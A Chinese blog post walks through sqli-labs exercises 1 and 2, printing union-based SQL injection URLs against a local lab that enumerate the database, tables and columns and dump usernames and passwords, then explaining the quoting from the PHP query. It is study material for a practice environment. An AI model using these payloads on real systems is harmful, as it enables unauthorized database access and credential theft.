为什么要把这个两个放一起写在博客里呢,因为这两个非常像
当然也有人和我一样不懂为啥他们有的带’,有的又不带,还有带括号的,很多,其实我觉得都是经验之谈
推荐一个i春秋上的帖子,挂上链接,可以看一下,写的挺好的
深入浅出玩转SQL注入(含过狗)
开始我们的题目,sql注入在有的教程里分什么字符型,数字型,其实都是一样的,都是在满足sql查询的条件,同时为什么这么构造,我们也在最后再说
Sql注入基本方法
- 判断Sql注入,在最后加上’ ,如果出错,可以判断存在sql注入
- 爆数据库
- 爆表名
- 爆字段名
- 查询
第一题
- 判断 + ’
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1%27
页面报错,存在sql注入
-
爆数据库
查看回显的字段数网址 页面提示 是否正常 http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 5 --+ Unknown column ‘5’ in ‘order clause’ 否 http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 3 --+ - 是 http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 4 --+ Unknown column ‘4’ in ‘order clause’ 否 说明字段数是3
查看回显字段
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,2,3–+说明回显字段是2,3
查看数据库名和数据库版本
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,version(),database() --+
数据库名是security,版本是10.3.15-MariaDB-1 -
爆表名
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=0x7365637572697479–+
这个0x7365637572697479是security的16进制形式,写成16进制的形式是不用加引号的,可以看到有email,referers,uagents,users,表
- 爆字段名
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1‘ union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=0x7365637572697479–+
- 查看数据
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,username,password from users where id=1 --+
第二题
第二题和第一题不一样的是在id=1之后的引号以及最后的–+上
我们直接贴上结果
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1 order by 3
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,version(),database()
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=0x7365637572697479
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=0x7365637572697479
- http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,username,password from users where id=1
比较
第一题在查看sql查询的源码的时候,php的语句是这么写的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
所以我们在构造语句的时候都是在满足查询条件的语句
比如爆数据库,
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 3 --+
这个时候,sql语句是什么
$sql="SELECT * FROM users WHERE id='1' order by 3 --+ LIMIT 0,1";
现在知道为啥要构造’了吧,为了满足查询语句的语法要求,而–+之后的会被sql语句忽略
在看看第二题,php的语句是这么写的
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
如果还是按照第一题一样的就是
$sql="SELECT * FROM users WHERE id=1' order by 3 --+ LIMIT 0,1";
这样语法就错误了,必须去掉引号
$sql="SELECT * FROM users WHERE id=1 order by 3 LIMIT 0,1";
这样就满足查询条件,成功查询
但是在实际的操作中,应该就是试